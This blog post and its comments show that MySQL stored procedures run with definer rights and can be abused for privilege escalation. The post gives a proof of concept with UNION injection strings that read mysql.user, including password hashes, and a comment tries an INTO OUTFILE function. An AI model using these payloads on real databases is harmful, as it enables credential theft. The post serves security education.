MySql Stored Procedures And Functions

November 4, 2008

Although, a lot has been written about oracle’s stored procedure and the weak permissions etc. I looked into the same issues for mysql and it turned out that mysql suffers from the same flaws/features. The only difference is that mysql does not come with any default stored procedure.

Like oracle, mysql stored procedure(and functions) are by default, run as definer and not as invoker. One needs to explicitly provide “sql security invoker” directive in stored procedure(and functions) to make it run as invoker. This obviously means that if you find a stored procedure in mysql created by a more privileged user(and it is vulnerable to sql injection) and you have the execute privileges you should be able to escalate permissions. The following demonstrate it:

———————-
(running as test user)
CREATE PROCEDURE sp_test (input varchar(100))
begin
set @id = input;
SET @sql_text = concat(‘SELECT text FROM test_tbl where id=’,@id);
PREPARE stmt FROM @sql_text;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
end

(running as root user)
CREATE PROCEDURE sp_root (input varchar(100))
begin
set @id = input;
SET @sql_text = concat(‘SELECT text FROM test_tbl where id=’,@id);
PREPARE stmt FROM @sql_text;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
end


mysql> select user();
+—————-+
| user() |
+—————-+
| test@localhost | +—————-+
1 row in set (0.00 sec)

mysql> select user from mysql.user;
ERROR 1142 (42000): SELECT command denied to user ‘test’@’localhost’ for table ‘user’

mysql> call sp_test(‘1 union all select concat(user,password) from mysql.user’);
ERROR 1142 (42000): SELECT command denied to user ‘test’@’localhost’ for table ‘user’

mysql> call sp_root(‘-1 union all select user from mysql.user’);

+———————————————————–+
| text |
+———————————————————–+
| mysql |
| root |
| test |
| debian-sys-maint |
| root |

5 rows in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Reference: http://dev.mysql.com/doc/refman/5.0/en/create-procedure.html
Sid

Comments

3 Comments

  • sid says:

    One of the things, i wanted to achieve here, was to create a function with “sql security invoker” directive and then inject a function into the vulnerable stored procedure. This would have helped me to bypass the input length restrictions, but it seems that function drops its privs(or may be i have missed something). Anyways, this is what i was trying:

    mysql> create function testing(input varchar(100)) returns varchar(50) READS SQL DATA sql security invoker
    -> begin
    -> DECLARE sUserName VARCHAR(50);
    -> select user into outfile ‘/tmp/a.txt’ from mysql.user;
    -> return ‘aaa’;
    -> end
    -> //
    Query OK, 0 rows affected (0.01 sec)

    mysql> call sp_root(testing(1));
    -> //
    ERROR 1045 (28000): Access denied for user ‘test’@’%’ (using password: NO)

  • Interesting stuff, I’ve never seen SQL Security Invoker used in a real world LAMP-type application.

    Actually I’ve found that for internally developed applications (as in within companies by in-house developers) stored procedures are quite rare on MySQL compared to Oracle (which probably explains why I haven’t seen SQL Security Invoker used). In fact overall I’d say I’m more likely to see Oracle security than MySQL security (in terms of application use, I don’t see people hardening databases themselves at all).

    Do you see many differences between Oracle and MySQL security functionality use in web apps?

  • crash says:

    Your first problem is attempting to use dynamic SQL in a stored procedure to begin with. It is extraordinarily rare to need to write dynamic SQL. There is almost always a way around it. If you find that you are writing alot of dynamic SQL you may wish to spend time learning SQL better. I write a TON of SQL for various applications and I can only think of 1 or 2 times in the last couple of years that I’ve needed dynamic SQL. If you stay away from dynamic SQL you then get to be immune to sql injection attacks.

    Exec as definer is good in an architecture where you dont wish to grant direct access to the tables in the schema to individual users. Typically we DON’T grant direct access because what invariably happens is that people write dynamic SQL in their applications, which then just opens you up to SQL injection attacks.

    The most secure method would be EXEC AS DEFINER with higher privileges, no direct table access even for select, and then granting individual access to EXEC sprocs only to user ID’s.

Leave a Reply

Your email address will not be published. Required fields are marked *

Trackback